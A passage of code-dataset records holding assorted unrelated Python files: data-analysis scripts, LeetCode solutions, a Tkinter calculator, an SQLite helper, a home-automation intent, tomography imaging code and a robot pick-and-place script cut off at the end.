# avg(price)/Country\n print_line(df=df, x_axes=\"Country\", y_axes=\"UnitPrice\", axs=axs, row_idx=2, col_idx=0)\n logger.info(\"Creating image of distribution [Country/UnitPrice]\")\n # then store the image\n logger.info(\"Saving image into out/img/distribute_price\")\n fig.savefig('out/img/distribute_price.png')\n plt.close()\n\n\ndef main() -> int:\n \"\"\"\n `cli_args` makes it possible to call this function command-line-style\n from other Python code without touching sys.argv.\n \"\"\"\n set_logger()\n logger = logging.getLogger(\"my logger\")\n try:\n retails = cs.open_excel(\"in/online_retail.xlsx\")\n if retails is not None:\n logger.info(\"File found. Start import of the file.\")\n collection = ms.mongo_connect(\"test\", \"online_retail\", \"localhost\", 27017)\n if collection is not None:\n ms.mongo_import(collection, retails)\n get_analytics(\"test\", \"online_retail\", \"localhost\")\n print(\"Executed.\")\n return 0 # success\n return 1\n\n except KeyboardInterrupt:\n print('Aborted manually.', file=sys.stderr)\n return 1\n\n except Exception as err:\n logger.error(\"Uncaught Error has been found. Caused by: %s\" % err)\n # (in real code the `except` would probably be less broad)\n # Turn exceptions into appropriate logs and/or console output.\n return 1\n\n\n# __main__ support is still here to make this file executable without\n# installing the package first.\nif __name__ == '__main__':\n sys.exit(main())\n","repo_name":"ieCecchetti/pyRetailsChallange","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"494662317","text":"from pathlib import Path\n\nfrom databooks.common import find_obj\n\n\ndef test_find_obj(tmp_path: Path) -> None:\n \"\"\"Find file based on name, and search path.\"\"\"\n filename = \"SAMPLE_FILE.ext\"\n\n start_dir = tmp_path\n end_dir = start_dir / \"to\" / \"some\" / \"dir\"\n end_dir.mkdir(parents=True)\n (start_dir / \"to\" / filename).touch()\n\n filepath = find_obj(obj_name=filename, start=start_dir, finish=end_dir)\n assert filepath == start_dir / \"to\" / filename\n assert filepath.is_file()\n\n\ndef test_find_obj__missing(tmp_path: Path) -> None:\n \"\"\"Return `None` when looking for file along path.\"\"\"\n filename = \"SAMPLE_FILE.ext\"\n\n start_dir = tmp_path\n end_dir = start_dir / \"to\" / \"some\" / \"dir\"\n end_dir.mkdir(parents=True)\n\n filepath = find_obj(obj_name=filename, start=start_dir, finish=end_dir)\n assert filepath is None\n","repo_name":"datarootsio/databooks","sub_path":"tests/test_common.py","file_name":"test_common.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":103,"dataset":"github-code","pt":"39"} +{"seq_id":"6009681577","text":"from collections import defaultdict\n\n\nclass TimeMap:\n\n def __init__(self):\n self.map = defaultdict(list)\n\n def set(self, key: str, value: str, timestamp: int) -> None:\n self.map[key].append((timestamp, value))\n\n def get(self, key: str, timestamp: int) -> str:\n res = ''\n\n values = self.map[key]\n\n left, right = 0, len(values) - 1\n\n while left <= right:\n mid = (left + right) // 2\n\n if values[mid][0] <= timestamp:\n res = values[mid][1]\n left = mid + 1\n else:\n right = mid - 1\n\n return res","repo_name":"qiaoandrew/leetcode","sub_path":"leetcode/981_time_based_key_value_store.py","file_name":"981_time_based_key_value_store.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"11735905940","text":"import appdaemon.plugins.hass.hassapi as hass\nimport random\n\nclass whatDoesSomeoneIntent(hass.Hass):\n\n def initialize(self):\n return\n\n def getIntentResponse(self, slots, devicename):\n try:\n ############################################\n # get the state from a sensor and if its true\n # get the text for the person\n # when false check if person is part of household\n # and give text for household person or error text\n ############################################\n entityState = self.get_state(self.args[\"entityID\"])\n if entityState == self.get_state(self.args[\"entityState\"]):\n if slots[\"person\"] in self.args[\"event_\" + entityState]: \n text = self.random_arg(self.args[\"event_\" + entityState][slots[\"person\"]])\n else:\n if slots[\"person\"] in self.args[\"household\"]:\n text = self.random_arg(self.args[\"event_\" + entityState][\"Household\"])\n else:\n text = self.random_arg(self.args[\"event_\" + entityState][\"notHousehold\"])\n except: \n text = self.args[\"Error\"]\n return text\n\n def random_arg(self,argName):\n ############################################\n # pick a random text from a list\n ############################################\n if isinstance(argName,list):\n text = random.choice(argName)\n else:\n text = argname\n return text\n","repo_name":"ReneTode/Alexa-Appdaemon-App","sub_path":"apps/internet/alexa/example_intents/whatDoesSomeone/whatDoesSomeoneIntent.py","file_name":"whatDoesSomeoneIntent.py","file_ext":"py","file_size_in_byte":1540,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"39"} +{"seq_id":"32582095972","text":"import sqlite3\r\n\r\n\r\n\r\nclass BaseDeDatos:\r\n url_base_de_datos = 'Listas_inteligentes.db'\r\n\r\n def _crear_conexion(self):\r\n try:\r\n self.conexion = sqlite3.connect(BaseDeDatos.url_base_de_datos)\r\n except Exception as e:\r\n print(e)\r\n\r\n def _cerrar_conexion(self):\r\n self.conexion.close()\r\n self.conexion = None\r\n\r\n def ejecutar_sql(self, sql):\r\n self._crear_conexion()\r\n cur = self.conexion.cursor()\r\n cur.execute(sql)\r\n\r\n filas = cur.fetchall()\r\n\r\n self.conexion.commit()\r\n self._cerrar_conexion()\r\n\r\n return filas\r\n\r\n def login_sql(self, sql):\r\n self._crear_conexion()\r\n cur = self.conexion.cursor()\r\n cur.execute(sql)\r\n\r\n fila = cur.fetchone()\r\n\r\n self.conexion.commit()\r\n self._cerrar_conexion()\r\n\r\n return fila\r\n\r\n def get_datos_sql(self, sql):\r\n self._crear_conexion()\r\n cur = self.conexion.cursor()\r\n cur.execute(sql)\r\n\r\n filas = cur.fetchone()\r\n\r\n self.conexion.commit()\r\n self._cerrar_conexion()\r\n for fila in filas:\r\n return fila\r\n\r\n def get_id_sql(self, sql):\r\n self._crear_conexion()\r\n cur = self.conexion.cursor()\r\n cur.execute(sql)\r\n\r\n filas = cur.fetchall()\r\n\r\n self.conexion.commit()\r\n self._cerrar_conexion()\r\n for fila in filas:\r\n return fila\r\n","repo_name":"M-Estigarribia/listas-inteligentes","sub_path":"app/base_de_datos.py","file_name":"base_de_datos.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"34532835489","text":"from tkinter import *\n\nwindow = Tk()\n\nwindow.title(\"Calculator\")\nwindow.resizable(0, 0)\nwindow.attributes('-toolwindow', True)\n\nglobal equal_flag\nequal_flag = 0\n\nglobal operation_lock\noperation_lock = 0\n\ndef add():\n global equal_flag\n global operation_lock\n if operation_lock == 1:\n return\n if equal_flag == 1:\n clear()\n equal_flag = 0\n operation_lock = 0\n if txt.get().count('+') == 1:\n return\n if txt.get() == \"\":\n return\n txt.insert(\"end\", \"+\")\n operation_lock = 1\n\ndef subtract():\n global equal_flag\n global operation_lock\n if operation_lock == 1:\n return\n if equal_flag == 1:\n clear()\n equal_flag = 0\n operation_lock = 0\n if txt.get().count('-') == 1:\n return\n if txt.get() == \"\":\n return\n txt.insert(\"end\", \"-\")\n operation_lock = 1\n\ndef multiply():\n global equal_flag\n global operation_lock\n if operation_lock == 1:\n return\n if equal_flag == 1:\n clear()\n equal_flag = 0\n operation_lock = 0\n if txt.get().count('x') == 1:\n return\n if txt.get() == \"\":\n return\n txt.insert(\"end\", \"x\")\n operation_lock = 1\n\ndef divide():\n global equal_flag\n global operation_lock\n if operation_lock == 1:\n return\n if equal_flag == 1:\n clear()\n equal_flag = 0\n operation_lock == 0\n if txt.get().count('/') == 1:\n return\n if txt.get() == \"\":\n return\n txt.insert(\"end\", \"/\") \n operation_lock == 1\n\ndef clear():\n txt.delete(0, last=len(txt.get()))\n global operation_lock\n operation_lock = 0\n\ndef equal():\n i = 0\n global equal_flag\n for i, value in enumerate(txt.get()):\n if value.count('+') == 1:\n firstNum = int(txt.get()[0:i])\n secondNum = int(txt.get()[i+1:len(txt.get())])\n clear()\n txt.insert(\"end\", firstNum + secondNum)\n global equal_flag\n equal_flag = 1\n break\n if value.count('-') == 1:\n firstNum = int(txt.get()[0:i])\n secondNum = int(txt.get()[i+1:len(txt.get())])\n clear()\n txt.insert(\"end\", firstNum - secondNum)\n equal_flag = 1\n break\n if value.count('x') == 1:\n firstNum = int(txt.get()[0:i])\n secondNum = int(txt.get()[i+1:len(txt.get())])\n clear()\n txt.insert(\"end\", firstNum * secondNum)\n equal_flag = 1\n break\n if value.count('/') == 1:\n firstNum = int(txt.get()[0:i])\n secondNum = int(txt.get()[i+1:len(txt.get())])\n if secondNum == 0:\n clear()\n txt.insert(\"end\", \"Error\")\n equal_flag = 1\n return\n clear()\n txt.insert(\"end\", firstNum / secondNum)\n equal_flag = 1\n break\n\ndef num_seven():\n global equal_flag\n if equal_flag == 1:\n clear()\n equal_flag = 0\n txt.insert(\"end\", \"7\")\n\ndef num_eight():\n global equal_flag\n if equal_flag == 1:\n clear()\n equal_flag = 0\n txt.insert(\"end\", \"8\")\n\ndef num_nine():\n global equal_flag\n if equal_flag == 1:\n clear()\n equal_flag = 0\n txt.insert(\"end\", \"9\")\n\ndef num_four():\n global equal_flag\n if equal_flag == 1:\n clear()\n equal_flag = 0\n txt.insert(\"end\", \"4\")\n\ndef num_five():\n global equal_flag\n if equal_flag == 1:\n clear()\n equal_flag = 0\n txt.insert(\"end\", \"5\")\n\ndef num_six():\n global equal_flag\n if equal_flag == 1:\n clear()\n equal_flag = 0\n txt.insert(\"end\", \"6\")\n\ndef num_one():\n global equal_flag\n if equal_flag == 1:\n clear()\n equal_flag = 0\n txt.insert(\"end\", \"1\")\n\ndef num_two():\n global equal_flag\n if equal_flag == 1:\n clear()\n equal_flag = 0\n txt.insert(\"end\", \"2\")\n\ndef num_three():\n global equal_flag\n if equal_flag == 1:\n clear()\n equal_flag = 0\n txt.insert(\"end\", \"3\")\n\ndef num_zero():\n if txt.get() == \"\":\n return\n global equal_flag\n if equal_flag == 1:\n clear()\n equal_flag = 0\n txt.insert(\"end\", \"0\")\n\nplus_btn = Button(window, text=\"+\",\n fg = \"black\", command=add, height=2, width=5)\nplus_btn.grid(column=0, row=1, sticky=\"e\")\n\nclear_btn = Button(window, text=\"C\",\n fg = \"black\", command=clear, height=2, width=5)\nclear_btn.grid(column=2, row=1, sticky=\"w\")\n\nequal_btn = Button(window, text=\"=\",\n fg = \"black\", command=equal, height=2, width=5)\nequal_btn.grid(column=2, row=7, sticky=\"w\")\n\nsubtract_btn = Button(window, text=\"-\",\n fg = \"black\", command=subtract, height=2, width=5)\nsubtract_btn.grid(column=1, row=1)\n\nmultiply_btn = Button(window, text=\"x\",\n fg = \"black\", command=multiply, height=2, width=5)\nmultiply_btn.grid(column=0, row=7, sticky=\"e\")\n\ndivide_btn = Button(window, text=\"/\",\n fg = \"black\", command=divide, height=2, width=5)\ndivide_btn.grid(column=1, row=7)\n\n#7\nseven_btn = Button(window, text=\"7\",\n fg = \"black\", command=num_seven, height=2, width=5)\nseven_btn.grid(column=0, row=3, sticky=\"e\")\n\n#8\neight_btn = Button(window, text=\"8\",\n fg = \"black\", command=num_eight, height=2, width=5)\neight_btn.grid(column=1, row=3)\n\n#9\nnine_btn = Button(window, text=\"9\",\n fg = \"black\", command=num_nine, height=2, width=5)\nnine_btn.grid(column=2, row=3, sticky=\"w\")\n\n#4\nfour_btn = Button(window, text=\"4\",\n fg = \"black\", command=num_four, height=2, width=5)\nfour_btn.grid(column=0, row=4, sticky=\"e\")\n\n#5\nfive_btn = Button(window, text=\"5\",\n fg = \"black\", command=num_five, height=2, width=5)\nfive_btn.grid(column=1, row=4)\n\n#6\nsix_btn = Button(window, text=\"6\",\n fg = \"black\", command=num_six, height=2, width=5)\nsix_btn.grid(column=2, row=4, sticky=\"w\")\n\n#1\none_btn = Button(window, text=\"1\",\n fg = \"black\", command=num_one, height=2, width=5)\none_btn.grid(column=0, row=5, sticky=\"e\")\n\n#2\ntwo_btn = Button(window, text=\"2\",\n fg = \"black\", command=num_two, height=2, width=5)\ntwo_btn.grid(column=1, row=5)\n\n#3\nthree_btn = Button(window, text=\"3\",\n fg = \"black\", command=num_three, height=2, width=5)\nthree_btn.grid(column=2, row=5, sticky=\"w\")\n\n#0\nzero_btn = Button(window, text=\"0\",\n fg = \"black\", command=num_zero, height=2, width=5)\nzero_btn.grid(column=1, row=6)\n#zero_btn.place(relx=.6, rely=.6, anchor=CENTER)\n\ntxt = Entry(window, width=20)\n#txt.place(relx=.5, rely=.5, anchor=CENTER)\ntxt.grid(column=0, row=0, columnspan=3, padx = 20, pady = 20)\n\nwindow.mainloop()","repo_name":"ErickMercado21/Calculator","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":6589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"40141778856","text":"from sympy import symbols, diff, solve\nfrom sympy import Symbol\n\ndef is_real(expr):\n return expr.is_real\n\n# Variablarni aniqlash\nx, y = symbols('x y')\n\n# Funksiyani aniqlash\nz = x**2 + x*y + y**2 + 9*x*x - 6*y + 20\n\n# Gradientni topish\nz_x = diff(z, x)\nz_y = diff(z, y)\n\n# Tenglamaga tenglashtirish\neq1 = z_x\neq2 = z_y\neq3 = y + 20*x\n\n# Noto'g'ri koordinatalar\nsolutions = solve((eq1, eq2, eq3), (x, y))\nfor sol in solutions:\n if sol[0].is_real and sol[1].is_real:\n print(f\"({sol[0]}, {sol[1]})\")\n\n# Minimum qiymat\nz_min = z.subs({x: -1/13, y: 20/13})\nprint(f\"Minimum qiymat: {z_min}\")","repo_name":"AbdulqosimAzizovich/Frontend","sub_path":"1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"39"} +{"seq_id":"3774498551","text":"import numpy as np\nimport cupy as cp\nimport astra\nimport trimesh\nimport pylops\nfrom matplotlib import pyplot as plt\nfrom mesh_tomography.projection3D.project_mesh_gpu64 import project_mesh, grad_project_mesh\nfrom mesh_tomography.reconstruction import quasi_newton, BB\nfrom mesh_tomography.utils.recalculate_normals import recalculate_normals\nfrom mesh_tomography.utils.subdivision import loop_subdivide\nfrom mesh_tomography.utils.spheres import generate_sphere\nfrom tqdm import tqdm\n\n#attenuation = -0.0002791397898305019\nattenuation = -0.00032*2 # times 2 because half resolution\n#attenuation = -0.0004\n\nint_type = np.int64\nfloat_type = np.float64\n\nn_angles = 300\nangle_inds = np.round(np.linspace(0, 300, n_angles, endpoint=False)).astype(np.int64)\nprint(angle_inds)\n\nprint(\"loading sinogram\")\nsino = cp.load(\"data/sino.npy\")[angle_inds, :, :].astype(float_type).copy()\nprint(\"done\")\n\nangles = np.linspace(0, np.pi, 300, endpoint=False, dtype=float_type)\nangles = angles[angle_inds].copy()\ngeom_settings = (1, 1, sino.shape[1], sino.shape[2], angles, 50000, 1)\n\n\n# create astra optomo operator\nvol_geom = astra.create_vol_geom(sino.shape[2], sino.shape[2], sino.shape[1])\nproj_geom = astra.create_proj_geom('cone', *geom_settings)\nproj_id = astra.create_projector('cuda3d', proj_geom, vol_geom)\nW = astra.optomo.OpTomo(proj_id)\n\ngeom_settings = (1, 1, sino.shape[1], sino.shape[2], cp.asarray(angles)+np.pi/2, 50000, 1)\n\n# ordinary reconstruction\nprint(\"loading volumetric reconstruction\")\nrec = np.load(f\"data/vol_rec_{n_angles}.npy\")\nprint(\"done\")\n\nvol_sino = (W @ rec.ravel()).reshape(sino.shape).swapaxes(0,1)\n\n\nvertices = np.load(f\"data/last_results_{n_angles}/iterate{58}.npy\")\nfaces = np.load(f\"data/last_results_{n_angles}/all_faces.npy\")\nnormals = recalculate_normals(vertices, faces)\nmesh_sino = project_mesh(vertices, faces, normals, *geom_settings).get()*attenuation\n\nprint(\"creating initial guess\")\nsphere = generate_sphere(1)\nsphere_vertices = np.asarray(sphere.vertices, dtype=float_type)\nsphere_faces = np.asarray(sphere.faces, dtype=int_type)\ncenters = np.load(\"data/centers.npy\")\nn_bubbles = len(centers)\ncenters[:, 0] -= rec.shape[0]//2\ncenters[:, 1] -= rec.shape[1]//2\ncenters[:, 2] -= rec.shape[2]//2\ncenters = centers[:, [2,1,0]]\ncenters[:, 2] *= -1\nradius = 25\ncontrol_vertices = []\ncontrol_faces = []\nfor i in range(n_bubbles):\n center = centers[i]\n bubble = sphere_vertices*radius\n bubble[:, 0] += center[0]\n bubble[:, 1] += center[1]\n bubble[:, 2] += center[2]\n control_vertices.append(bubble)\n control_faces.append(sphere_faces+(len(sphere_vertices)*i))\ncontrol_vertices = np.vstack(control_vertices)\ncontrol_faces = np.vstack(control_faces)\nvertices, faces = loop_subdivide(control_vertices, control_faces)\nvertices, faces = loop_subdivide(vertices, faces)\nnormals = recalculate_normals(vertices, faces)\ninit_sino = project_mesh(vertices, faces, normals, *geom_settings).get()*attenuation\n\nplt.figure()\nplt.imshow(init_sino[:, sino.shape[1]//2, :], cmap=\"gray\")\nplt.imsave(\"images/init_sino.png\", init_sino[:, sino.shape[1]//2, :], cmap=\"gray\")\n\nplt.figure()\nplt.imshow(mesh_sino[:, sino.shape[1]//2, :], cmap=\"gray\")\nplt.imsave(\"images/mesh_sino.png\", mesh_sino[:, sino.shape[1]//2, :], cmap=\"gray\")\n\nplt.figure()\nplt.imshow(vol_sino[:, sino.shape[1]//2, :], cmap=\"gray\")\nplt.imsave(\"images/vol_sino.png\", vol_sino[:, sino.shape[1]//2, :], cmap=\"gray\")\n\nplt.figure()\nplt.imshow(sino[:, sino.shape[1]//2, :].get(), cmap=\"gray\")\nplt.imsave(\"images/sino.png\", sino[:, sino.shape[1]//2, :].get(), cmap=\"gray\")\n\nplt.show()","repo_name":"RendersJens/bubsub-experiments","sub_path":"real/liquid_rheology/generate_images.py","file_name":"generate_images.py","file_ext":"py","file_size_in_byte":3569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"17622067094","text":"for _ in range(int(input())):\n n, c, m = list(map(int, input().split()))\n\n wrappers = n // c\n total = wrappers\n\n # continue while it's possible to buy chocolates\n while wrappers >= m:\n # retrieve the chocolate coast and add the wrapper of the new chocolate\n wrappers += 1 - m\n total += 1\n\n print(total)\n","repo_name":"ntnprdhmm/hackerrank","sub_path":"algorithms/implementation/chocolate_feast.py","file_name":"chocolate_feast.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"18577345339","text":"'''\nGiven a reference of a node in a connected undirected graph.\n\nReturn a deep copy (clone) of the graph.\n\nEach node in the graph contains a value (int) and a list (List[Node]) of its neighbors.\n\nclass Node {\n public int val;\n public List neighbors;\n}\n \n\nTest case format:\n\nFor simplicity, each node's value is the same as the node's index (1-indexed). For example, the first node with val == 1, the second node with val == 2, and so on. The graph is represented in the test case using an adjacency list.\n\nAn adjacency list is a collection of unordered lists used to represent a finite graph. Each list describes the set of neighbors of a node in the graph.\n\nThe given node will always be the first node with val = 1. You must return the copy of the given node as a reference to the cloned graph.\n'''\n\"\"\"\n# Definition for a Node.\nclass Node:\n def __init__(self, val = 0, neighbors = None):\n self.val = val\n self.neighbors = neighbors if neighbors is not None else []\n\"\"\"\n\nclass Solution:\n def cloneGraph(self, node: 'Node') -> 'Node':\n def find_nodes_list(node, visits):\n lst = [node]\n new = []\n visits.add(node.val)\n for adj_node in node.neighbors:\n if adj_node.val not in visits:\n visits.add(adj_node.val)\n new += find_nodes_list(adj_node, visits)\n return lst + new\n\n def create_copy_of_nodes(nodes):\n visits = set([])\n nodes = find_nodes_list(node, visits)\n return {n.val: Node(n.val) for n in nodes}\n\n def create_copy_of_graph(node, duped_nodes):\n nodes_bfs = [node]\n next_level = []\n visits = {node}\n while nodes_bfs:\n for n in nodes_bfs:\n if n.val not in visits:\n visits.add(n.val)\n duped_nodes[n.val].neighbors = [duped_nodes[n_adj.val] for n_adj in n.neighbors]\n next_level += n.neighbors\n nodes_bfs = next_level\n next_level = []\n return duped_nodes\n\n if not node:\n return None\n elif not node.neighbors:\n return Node(1)\n visits = set([])\n nodes = find_nodes_list(node, visits)\n duped_nodes = create_copy_of_nodes(nodes)\n copied_graph = create_copy_of_graph(node, duped_nodes)\n return copied_graph[1]\n","repo_name":"JakeHollingsworth/leetcode","sub_path":"problem_solutions/medium/clone_graph.py","file_name":"clone_graph.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"32418759176","text":"import pandas as pd\nimport os\nimport requests\nfrom faker import Faker\nimport random\n\n# Création d'une instance Faker\nfake = Faker(\"fr_FR\")\n\n# Fonction pour générer un faux nom\ndef generer_faux_nom(l_input=[\"Monsieur\", \"Madame\", \"Société\"]):\n prefixe = random.choice(l_input)\n if prefixe == \"Société\":\n nom = fake.company()\n else:\n nom = fake.name()\n return f\"{prefixe} {nom}\"\n\n# Création du DataFrame\ndf = pd.DataFrame()\n\ndef newPosition():\n df_pos=pd.read_csv('./BANKVISTA_positions_20230503_20230504-190003.csv',sep=';')\n df_por=pd.read_csv('./BANKVISTA_portfolios_20230503_20230504-190004.csv',sep=';')\n\n # anonymmisation : \n df_por[\"AccountName\"] = [generer_faux_nom() for _ in range(0,df_por.shape[0])] # Changer 10 par le nombre souhaité de faux noms\n df_por[\"AccountManager1\"] = random.choices([generer_faux_nom([\"Monsieur\", \"Madame\"]) for _ in range(10)], k=df_por.shape[0])\n df_por[\"AccountManager2\"] = random.choices([generer_faux_nom([\"Monsieur\", \"Madame\"]) for _ in range(10)], k=df_por.shape[0])\n df_por[\"RelationshipManager\"] = random.choices([generer_faux_nom([\"Monsieur\", \"Madame\"]) for _ in range(10)], k=df_por.shape[0])\n \n merge_df=pd.merge(df_pos[['PortfolioId','ISIN']], df_por[['AccountID','RelationshipManager']], right_on='AccountID', left_on='PortfolioId', how='inner')\n managers=merge_df['RelationshipManager'].unique()\n managers_df = pd.DataFrame(columns=['name', 'surname', 'email', 'role', 'password'])\n for manager in managers:\n role = 'FRONT'\n managers_df = pd.concat([managers_df,pd.DataFrame({'name': manager.split(' ')[1], 'surname': manager.split(' ')[2].title(), 'email': manager.split(' ')[1].lower() + '.' + manager.split(' ')[0].lower() + '@gmail.com', 'role': role, 'password': 'Reveals'}, index=[0])], ignore_index=True)\n\n js_input=managers_df.to_json(orient='records')\n # api-endpoint\n URL = \"http://127.0.0.1:5001/api/setusers\"\n\n\n # defining a params dict for the parameters to be sent to the API\n json = js_input\n \n # sending get request and saving the response as response object\n r = requests.post(url = URL, json = json)\n \n # extracting data in json format\n print('Managers:', r)\n\n\n position = pd.merge(df_pos,df_por,left_on='PortfolioId',right_on='AccountID',how='left')\n \n \n position['AccountID']=position['AccountID'].astype('str')\n position['PortfolioId']=position['PortfolioId'].astype('str')\n\n def extractDate(x):\n t=x.split(' ')\n if len(t) > 1:\n y=t[0]\n else:\n y=x\n return y\n\n position['CreationDate']=position['CreationDate'].apply(extractDate)\n position['OpeningDate']=position['OpeningDate'].astype(str).apply(extractDate)\n position['ClosingDate']=position['ClosingDate'].astype(str).apply(extractDate)\n\n position['InvestmentPolicy']=position['InvestmentPolicy'].apply(lambda x: x.strip() if x==x else '')\n js_input=position.to_json(orient='records')\n\n URL = \"http://127.0.0.1:5001/api/setpositions\"\n\n # defining a params dict for the parameters to be sent to the API\n json = js_input\n\n # sending get request and saving the response as response object\n r = requests.post(url = URL, json = json)\n\n # extracting data in json format\n print(r)\n\ndef newPrice():\n df = pd.read_csv('./BANKVISTA_securities_20230504_20230505-080502.csv',sep=';')\n \n # selection des colonnes à remonter dans l'objet :\n cols=['SECURITIES','ID_ISIN','CRNCY','PX_CLOSE_DT','PX_LAST','RTG_SP','SP_EFF_DT',\n 'RTG_SP_LT_LC_ISS_CRED_RTG_DT',\n 'RTG_SP_LT_LC_ISSUER_CREDIT',\n 'RTG_FITCH_LT_ISSUER_DFLT_RTG_DT',\n 'RTG_FITCH',\n 'RTG_FITCH_LT_ISSUER_DEFAULT',\n 'RTG_FITCH_SEN_UNSEC_RTG_DT',\n 'RTG_FITCH_SEN_UNSECURED',\n 'RTG_MOODY_LONG_TERM_DATE',\n 'RTG_MOODY',\n 'RTG_MOODY_LONG_TERM',\n 'RTG_MDY_ISSUER_RTG_DT',\n 'RTG_MDY_ISSUER',\n 'RTG_MDY_SEN_UNSECURED_DEBT']\n\n df_light=df[cols]\n\n # suppresssion des NA\n df_light2=df_light.apply(lambda x: x.apply(lambda x: '' if x=='N.A.' else x))\n\n # suppresssion des espaces vides\n df_light2=df_light2.apply(lambda x: x.apply(lambda x: x.strip() if type(x)==str else x))\n\n\n # passage des noms de colonnes en minuscule\n df_light2.columns=[x.lower() for x in df_light2.columns.tolist()]\n\n # Modification de la colonne px_close_dt en date\n df_light2['px_close_dt'] = pd.to_datetime(df_light2['px_close_dt'], errors='coerce')\n df_light2['px_close_dt'] = pd.to_datetime(df_light2['px_close_dt'], errors='coerce')\n\n df_light2['px_last']=df_light2['px_last'].apply(lambda x: 0 if x =='' else x)\n\n js_input=df_light2[['securities',\n 'id_isin',\n 'crncy',\n 'px_close_dt',\n 'px_last',\n 'rtg_sp',\n 'sp_eff_dt',\n 'rtg_sp_lt_lc_iss_cred_rtg_dt',\n 'rtg_sp_lt_lc_issuer_credit',\n 'rtg_fitch_lt_issuer_dflt_rtg_dt',\n 'rtg_fitch',\n 'rtg_fitch_lt_issuer_default',\n 'rtg_fitch_sen_unsec_rtg_dt',\n 'rtg_fitch_sen_unsecured',\n 'rtg_moody_long_term_date',\n 'rtg_moody',\n 'rtg_moody_long_term',\n 'rtg_mdy_issuer_rtg_dt',\n 'rtg_mdy_issuer',\n 'rtg_mdy_sen_unsecured_debt']].to_json(orient='records')\n\n URL = \"http://127.0.0.1:5001/api/setprices\"\n \n \n # defining a params dict for the parameters to be sent to the API\n json = js_input\n \n # sending get request and saving the response as response object\n r = requests.post(url = URL, json = json)\n \n # extracting data in json format\n print(r)\n return df_light2\n \n\n\nif __name__ == \"__main__\":\n newPosition()\n newPrice()\n \n\n\n\n\n","repo_name":"reveals01/CashVal","sub_path":"services/web/input/load.py","file_name":"load.py","file_ext":"py","file_size_in_byte":5693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"31503919702","text":"#! /usr/bin/env python3\n\nimport rospy\nfrom visualization_msgs.msg import Marker\nfrom geometry_msgs.msg import Pose, Point, Quaternion, PoseArray, Transform, Vector3, TransformStamped\nfrom Gripper import Gripper\nimport sys\nimport intera_interface # intera_interface - Sawyer Python API\nimport yaml\nimport os\n\n# import moveit_commander\n# import moveit_msgs.msg\n# from moveit_commander.conversions import pose_to_list\n\nGREEN = '\\033[92m'\nYELLOW = '\\033[93m'\nRED = '\\033[91m'\nBOLD = '\\033[1m'\nEND = '\\033[0m'\n\nOBJECT_PARAM = \"objects\"\nPARAM_NOT_DEFINED_ERROR = RED + \"Parameter : {} not defined\" + END\nDEFINED_SEQUENCE = [\"approach_pick\", \"pick\", \"leave_pick\", \"approach_leave\", \"leave\",\"approach_leave\"]\nDEFINED_ROBOTIQ_COMMAND = {\"approach_pick\": \"open\",\"pick\": \"close\", \"leave\": \"open\"}\nCOMMAND_TO_GRIPPER = {\"open\":\"o\", \"close\":\"c\", \"reset\":\"r\",\"activate\":\"a\"}\n\ndef main():\n rospy.init_node('pick_plance_node', anonymous=True)\n rospy.loginfo(GREEN + \"Let's start...\" + END)\n\n try:\n object_distribution = rospy.get_param(OBJECT_PARAM)\n except KeyError:\n rospy.logerr(PARAM_NOT_DEFINED_ERROR.format(OBJECT_PARAM))\n return 0\n\n try:\n nominal_speed_ratio = rospy.get_param(\"nominal_speed_ratio\")\n except KeyError:\n nominal_speed_ratio = 0.5\n rospy.logerr(RED + \"nominal_speed_ratio not set, set to 0.5\" + END)\n return 0\n\n limb = intera_interface.Limb('right') # create an instance of intera_interface's Limb class\n\n # Reset Gripper\n gripper = Gripper()\n gripper.genCommand(COMMAND_TO_GRIPPER[\"reset\"])\n gripper.genCommand(COMMAND_TO_GRIPPER[\"activate\"]) # da decommentare se non funziona\n\n ############## Move it\n # moveit_commander.roscpp_initialize(sys.argv)\n # robot = moveit_commander.RobotCommander()\n # scene = moveit_commander.PlanningSceneInterface()\n # group_name = \"right_arm\"\n # group = moveit_commander.MoveGroupCommander(group_name)\n ##############\n\n # Initial set-up robot\n rospy.loginfo(\"Moving to robot-neutral position with low speed...\")\n limb.set_joint_position_speed(speed=0.1)\n limb.move_to_neutral()\n limb.set_joint_position_speed(speed=nominal_speed_ratio)\n rospy.loginfo(\"Robot speed set to maximum velocity...\")\n\n t_start = rospy.Time.now()\n for object in object_distribution:\n for position_to_reach in DEFINED_SEQUENCE:\n if position_to_reach in object:\n set_point_position = object[position_to_reach]\n limb.move_to_joint_positions(set_point_position)\n\n\n # With moveit\n # pose_goal = limb.joint_angles_to_cartesian_pose(set_point_position,end_point='right_hand')\n # group.set_pose_target(pose_goal)\n # plan = group.go(wait=True)\n # # Calling `stop()` ensures that there is no residual movement\n # group.stop()\n # group.clear_pose_targets()\n # print(cartesian_pose)\n # print(type(cartesian_pose))\n if position_to_reach in DEFINED_ROBOTIQ_COMMAND:\n # Send command to the gripper\n gripper.genCommand(COMMAND_TO_GRIPPER[DEFINED_ROBOTIQ_COMMAND[position_to_reach]])\n rospy.sleep(2) #P Pase\n t_end = (rospy.Time.now() - t_start).to_sec()\n rospy.loginfo(GREEN + \"Execution time: {} seconds\".format(t_end) +END)\n\nif __name__ == \"__main__\":\n 